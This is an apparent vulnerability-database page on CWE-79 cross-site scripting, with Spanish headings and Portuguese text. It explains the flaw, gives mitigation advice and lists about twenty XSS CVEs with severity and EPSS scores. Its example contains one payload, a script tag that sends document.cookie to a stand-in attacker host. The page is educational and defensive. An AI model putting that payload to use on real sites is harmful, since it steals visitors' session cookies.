Fallos del tipo CWE-79

29.053 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-77615HIGHPaella Player: Stored XSS via caption cue textEPSS 0.6%CVE-2012-10007LOWmadgicweb BuddyStream Plugin ShareBox.php cross site scriptingEPSS 0.6%CVE-2015-10092LOWQtranslate Slug Plugin class-qtranslate-slug.php add_slug_meta_box cross site scriptingEPSS 0.6%CVE-2026-24128MEDIUMXWiki Affected by Reflected Cross-Site Scripting (XSS) in Error MessagesEPSS 0.6%CVE-2023-3681LOWCampcodes Retro Cellphone Online Store modal_add_product.php cross site scriptingEPSS 0.6%CVE-2025-51488MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in MoonShine version < 3.12.4, allowing remote attackers to store and execute arbitEPSS 0.6%CVE-2024-37674MEDIUMCross Site Scripting vulnerability in Moodle CMS v3.10 allows a remote attacker to execute arbitrary code via the Field Name (name parameterEPSS 0.6%CVE-2023-6613LOWTypecho Logo options-theme.php cross site scriptingEPSS 0.6%CVE-2024-9148CRITICALFlowise Stored Cross-Site ScriptingEPSS 0.6%CVE-2012-10014LOWKau-Boy Backend Localization Plugin backend_localization.php localize_backend cross site scriptingEPSS 0.6%CVE-2023-2428MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.6%CVE-2022-37328LOWWordPress History Timeline plugin <= 1.0.5 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-26266CRITICALMultiple stored cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.2.0 through 7.4.3.13, and older unsupported versions, and LifEPSS 0.6%CVE-2022-2579LOWSourceCodester Garage Management System createUser.php cross site scriptingEPSS 0.6%CVE-2023-40013HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in external-svg-loaderEPSS 0.6%CVE-2023-4520MEDIUMFV Flowplayer Video Player <= 7.5.37.7212 - Insufficient Input Validation to Unauthenticated Stored Cross-Site Scripting and Arbitrary Usermeta UpdateEPSS 0.6%CVE-2019-18574MEDIUMRSA Authentication Manager software versions prior to 8.4 P8 contain a stored cross-site scripting vulnerability in the Security Console. A EPSS 0.6%CVE-2024-4334MEDIUMSupreme Modules Lite – Divi Theme, Extra Theme and Divi Builder <= 2.5.3 - Authenticated (Contributor+) DOM-Based Cross-Site ScriptingEPSS 0.6%CVE-2024-25601CRITICALStored cross-site scripting (XSS) vulnerability in Expando module's geolocation custom fields in Liferay Portal 7.2.0 through 7.4.2, and oldEPSS 0.6%CVE-2025-25190MEDIUM[XBOW-025-033] Cross-Site Scripting (XSS) via EchoProcess Service in ZOO-Project WPS ServerEPSS 0.6%